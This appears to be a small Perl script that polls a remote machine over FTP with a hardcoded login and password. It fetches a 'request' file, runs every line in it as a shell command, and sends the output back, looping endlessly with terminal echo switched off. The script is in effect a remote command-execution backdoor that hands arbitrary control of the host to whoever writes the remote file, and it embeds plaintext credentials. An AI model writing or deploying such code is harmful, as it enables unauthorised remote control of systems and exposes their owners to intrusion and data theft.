#!/usr/bin/perl

$machine="gonad";
$login="dhiraj";
$passwd="8-)";
while (1) {    
    system("stty -echo");
    system("rm -f semaphore* request* answer*");
    system("./ftp-get $machine $login $passwd &");
    $flag = 1;
    open(Read,"<semaphoreB") || {$flag = 0};
    if ($flag) {
	close(Read);
	open(Read,"request");
	@commands = <Read>;
	close(Read);
	
	$size = @commands;
	for($count=0;$count<$size;$count++) {
	    $command=$commands[$count];
	    chomp($command);
	    system("echo $command ----------- >> answer");
	    system("$command >> answer &");
	}

	system("echo lala > semaphoreC");
	system("./ftp-send $machine $login $passwd &");
	system("stty echo");
	sleep(200);
    }
}
